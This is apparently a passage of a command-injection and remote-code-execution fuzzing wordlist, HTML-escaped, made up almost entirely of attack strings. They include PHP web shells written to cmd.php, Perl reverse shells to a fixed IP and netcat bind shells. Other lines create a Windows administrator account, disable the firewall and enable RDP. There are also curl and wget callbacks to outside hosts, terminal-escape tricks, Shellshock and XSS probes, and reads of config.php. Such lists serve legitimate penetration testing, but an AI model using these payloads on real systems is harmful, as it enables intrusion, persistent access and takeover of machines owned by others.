 &amp;amp; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 ;echo '&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'&lt;br /&gt;
 echo '&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 echo '&amp;lt;script src=https://crowdshield.com/.testing/xss.js&amp;gt;&amp;lt;/script&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 | echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 ; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 &amp;amp; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 () { :;}; echo vulnerable 10&lt;br /&gt;
 eval('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 eval('ls')&lt;br /&gt;
 eval('pwd')&lt;br /&gt;
 eval('pwd');&lt;br /&gt;
 eval('sleep 5')&lt;br /&gt;
 eval('sleep 5');&lt;br /&gt;
 eval('whoami')&lt;br /&gt;
 eval('whoami');&lt;br /&gt;
 exec('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 exec('ls')&lt;br /&gt;
 exec('pwd')&lt;br /&gt;
 exec('pwd');&lt;br /&gt;
 exec('sleep 5')&lt;br /&gt;
 exec('sleep 5');&lt;br /&gt;
 exec('whoami')&lt;br /&gt;
 exec('whoami');&lt;br /&gt;
 ;{$_GET[&amp;quot;cmd&amp;quot;]}&lt;br /&gt;
 `id`&lt;br /&gt;
 |id&lt;br /&gt;
 | id&lt;br /&gt;
 ;id&lt;br /&gt;
 ;id|&lt;br /&gt;
 ;id;&lt;br /&gt;
 &amp;amp; id&lt;br /&gt;
 &amp;amp;&amp;amp;id&lt;br /&gt;
 ;id\n&lt;br /&gt;
 ifconfig&lt;br /&gt;
 | ifconfig&lt;br /&gt;
 ; ifconfig&lt;br /&gt;
 &amp;amp; ifconfig&lt;br /&gt;
 &amp;amp;&amp;amp; ifconfig&lt;br /&gt;
 /index.html|id|&lt;br /&gt;
 ipconfig&lt;br /&gt;
 | ipconfig /all&lt;br /&gt;
 ; ipconfig /all&lt;br /&gt;
 &amp;amp; ipconfig /all&lt;br /&gt;
 &amp;amp;&amp;amp; ipconfig /all&lt;br /&gt;
 ipconfig /all&lt;br /&gt;
 ls&lt;br /&gt;
 $(`ls`)&lt;br /&gt;
 | ls -l /&lt;br /&gt;
 ; ls -l /&lt;br /&gt;
 &amp;amp; ls -l /&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /&lt;br /&gt;
 ls -l /&lt;br /&gt;
 | ls -laR /etc&lt;br /&gt;
 ; ls -laR /etc&lt;br /&gt;
 &amp;amp; ls -laR /etc&lt;br /&gt;
 &amp;amp;&amp;amp; ls -laR /etc&lt;br /&gt;
 | ls -laR /var/www&lt;br /&gt;
 ; ls -laR /var/www&lt;br /&gt;
 &amp;amp; ls -laR /var/www&lt;br /&gt;
 &amp;amp;&amp;amp; ls -laR /var/www&lt;br /&gt;
 | ls -l /etc/&lt;br /&gt;
 ; ls -l /etc/&lt;br /&gt;
 &amp;amp; ls -l /etc/&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /etc/&lt;br /&gt;
 ls -l /etc/&lt;br /&gt;
 ls -lh /etc/&lt;br /&gt;
 | ls -l /home/*&lt;br /&gt;
 ; ls -l /home/*&lt;br /&gt;
 &amp;amp; ls -l /home/*&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /home/*&lt;br /&gt;
 ls -l /home/*&lt;br /&gt;
 *; ls -lhtR /var/www/&lt;br /&gt;
 | ls -l /tmp&lt;br /&gt;
 ; ls -l /tmp&lt;br /&gt;
 &amp;amp; ls -l /tmp&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /tmp&lt;br /&gt;
 ls -l /tmp&lt;br /&gt;
 | ls -l /var/www/*&lt;br /&gt;
 ; ls -l /var/www/*&lt;br /&gt;
 &amp;amp; ls -l /var/www/*&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /var/www/*&lt;br /&gt;
 ls -l /var/www/*&lt;br /&gt;
 \n&lt;br /&gt;
 \n\033[2curl http://135.23.158.130/.testing/term_escape.txt?vuln=1?user=\`whoami\`&lt;br /&gt;
 \n\033[2wget http://135.23.158.130/.testing/term_escape.txt?vuln=2?user=\`whoami\`&lt;br /&gt;
 \n/bin/ls -al\n&lt;br /&gt;
 | nc -lvvp 4444 -e /bin/sh|&lt;br /&gt;
 ; nc -lvvp 4444 -e /bin/sh;&lt;br /&gt;
 &amp;amp; nc -lvvp 4444 -e /bin/sh&amp;amp;&lt;br /&gt;
 &amp;amp;&amp;amp; nc -lvvp 4444 -e /bin/sh &amp;amp;&lt;br /&gt;
 nc -lvvp 4444 -e /bin/sh&lt;br /&gt;
 nc -lvvp 4445 -e /bin/sh &amp;amp;&lt;br /&gt;
 nc -lvvp 4446 -e /bin/sh|&lt;br /&gt;
 nc -lvvp 4447 -e /bin/sh;&lt;br /&gt;
 nc -lvvp 4448 -e /bin/sh&amp;amp;&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Acurl https://crowdshield.com/.testing/rce_vuln.txt\n&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Asleep 5\n&lt;br /&gt;
 \necho INJECTX\nexit\n\033[2Awget https://crowdshield.com/.testing/rce_vuln.txt\n&lt;br /&gt;
 | net localgroup Administrators hacker /ADD&lt;br /&gt;
 ; net localgroup Administrators hacker /ADD&lt;br /&gt;
 &amp;amp; net localgroup Administrators hacker /ADD&lt;br /&gt;
 &amp;amp;&amp;amp; net localgroup Administrators hacker /ADD&lt;br /&gt;
 net localgroup Administrators hacker /ADD&lt;br /&gt;
 | netsh firewall set opmode disable&lt;br /&gt;
 ; netsh firewall set opmode disable&lt;br /&gt;
 &amp;amp; netsh firewall set opmode disable&lt;br /&gt;
 &amp;amp;&amp;amp; netsh firewall set opmode disable&lt;br /&gt;
 netsh firewall set opmode disable&lt;br /&gt;
 netstat&lt;br /&gt;
 ;netstat -a;&lt;br /&gt;
 | netstat -an&lt;br /&gt;
 ; netstat -an&lt;br /&gt;
 &amp;amp; netstat -an&lt;br /&gt;
 &amp;amp;&amp;amp; netstat -an&lt;br /&gt;
 netstat -an&lt;br /&gt;
 | net user hacker Password1 /ADD&lt;br /&gt;
 ; net user hacker Password1 /ADD&lt;br /&gt;
 &amp;amp; net user hacker Password1 /ADD&lt;br /&gt;
 &amp;amp;&amp;amp; net user hacker Password1 /ADD&lt;br /&gt;
 net user hacker Password1 /ADD&lt;br /&gt;
 | net view&lt;br /&gt;
 ; net view&lt;br /&gt;
 &amp;amp; net view&lt;br /&gt;
 &amp;amp;&amp;amp; net view&lt;br /&gt;
 net view&lt;br /&gt;
 \nid|&lt;br /&gt;
 \nid;&lt;br /&gt;
 \nid\n&lt;br /&gt;
 \n/usr/bin/id\n&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x1024'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x16096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x16384'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x2048'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 &amp;amp; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x4096'&lt;br /&gt;
 || perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 | perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 ; perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 &amp;amp;&amp;amp; perl -e 'print &amp;quot;X&amp;quot;x8096'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x8192'&lt;br /&gt;
 perl -e 'print &amp;quot;X&amp;quot;x81920'&lt;br /&gt;
 || phpinfo()&lt;br /&gt;
 | phpinfo()&lt;br /&gt;
  {${phpinfo()}}&lt;br /&gt;
 ;phpinfo()&lt;br /&gt;
 ;phpinfo();//&lt;br /&gt;
 ';phpinfo();//&lt;br /&gt;
 {${phpinfo()}}&lt;br /&gt;
 &amp;amp; phpinfo()&lt;br /&gt;
 &amp;amp;&amp;amp; phpinfo()&lt;br /&gt;
 phpinfo()&lt;br /&gt;
 phpinfo();&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;curl https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;curl https://crowdshield.com/.testing/rce_vuln.txt?req=df2fkjj&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;sleep 10&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;sleep 5&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;wget https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get&amp;quot;);?&amp;gt;&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;wget https://crowdshield.com/.testing/rce_vuln.txt?req=jdfj2jc&amp;quot;);?&amp;gt;&lt;br /&gt;
 :phpversion();&lt;br /&gt;
 `ping 127.0.0.1`&lt;br /&gt;
 &amp;amp; ping -i 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 &amp;amp; ping -n 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 ;${@print(md5(RCEVulnerable))};&lt;br /&gt;
 ${@print(&amp;quot;RCEVulnerable&amp;quot;)}&lt;br /&gt;
 ${@print(system($_SERVER['HTTP_USER_AGENT']))}&lt;br /&gt;
 pwd&lt;br /&gt;
 | pwd&lt;br /&gt;
 ; pwd&lt;br /&gt;
 &amp;amp; pwd&lt;br /&gt;
 &amp;amp;&amp;amp; pwd&lt;br /&gt;
 \r&lt;br /&gt;
 | reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 ; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 &amp;amp; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 &amp;amp;&amp;amp; reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 reg add &amp;quot;HKLM\System\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
 \r\n&lt;br /&gt;
 route&lt;br /&gt;
 | sleep 1&lt;br /&gt;
 ; sleep 1&lt;br /&gt;
 &amp;amp; sleep 1&lt;br /&gt;
 &amp;amp;&amp;amp; sleep 1&lt;br /&gt;
 sleep 1&lt;br /&gt;
 || sleep 10&lt;br /&gt;
 | sleep 10&lt;br /&gt;
 ; sleep 10&lt;br /&gt;
 {${sleep(10)}}&lt;br /&gt;
 &amp;amp; sleep 10 &lt;br /&gt;
 &amp;amp;&amp;amp; sleep 10&lt;br /&gt;
 sleep 10&lt;br /&gt;
 || sleep 15&lt;br /&gt;
 | sleep 15&lt;br /&gt;
 ; sleep 15&lt;br /&gt;
 &amp;amp; sleep 15 &lt;br /&gt;
 &amp;amp;&amp;amp; sleep 15&lt;br /&gt;
  {${sleep(20)}}&lt;br /&gt;
 {${sleep(20)}}&lt;br /&gt;
  {${sleep(3)}}&lt;br /&gt;
 {${sleep(3)}}&lt;br /&gt;
 | sleep 5&lt;br /&gt;
 ; sleep 5&lt;br /&gt;
 &amp;amp; sleep 5&lt;br /&gt;
 &amp;amp;&amp;amp; sleep 5&lt;br /&gt;
 sleep 5&lt;br /&gt;
  {${sleep(hexdec(dechex(20)))}} &lt;br /&gt;
 {${sleep(hexdec(dechex(20)))}} &lt;br /&gt;
 sysinfo&lt;br /&gt;
 | sysinfo&lt;br /&gt;
 ; sysinfo&lt;br /&gt;
 &amp;amp; sysinfo&lt;br /&gt;
 &amp;amp;&amp;amp; sysinfo&lt;br /&gt;
 system('cat C:\boot.ini');&lt;br /&gt;
 system('cat config.php');&lt;br /&gt;
 || system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 | system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 ; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 &amp;amp; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 &amp;amp;&amp;amp; system('curl https://crowdshield.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('curl https://crowdshield.com/.testing/rce_vuln.txt')&lt;br /&gt;
 system('curl https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2wdf')&lt;br /&gt;
 system('curl https://xerosecurity.com/.testing/rce_vuln.txt');&lt;br /&gt;
 system('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 systeminfo&lt;br /&gt;
 | systeminfo&lt;br /&gt;
 ; systeminfo&lt;br /&gt;
 &amp;amp; systeminfo&lt;br /&gt;
 &amp;amp;&amp;amp; systeminfo&lt;br /&gt;
 system('ls')&lt;br /&gt;
 system('pwd')&lt;br /&gt;
 system('pwd');&lt;br /&gt;
 || system('sleep 5');&lt;br /&gt;
 | system('sleep 5');&lt;br /&gt;
 ; system('sleep 5');&lt;br /&gt;
 &amp;amp; system('sleep 5');&lt;br /&gt;
 &amp;amp;&amp;amp; system('sleep 5');&lt;br /&gt;
 system('sleep 5')&lt;br /&gt;
 system('sleep 5');&lt;br /&gt;
 system('wget https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2w23')&lt;br /&gt;
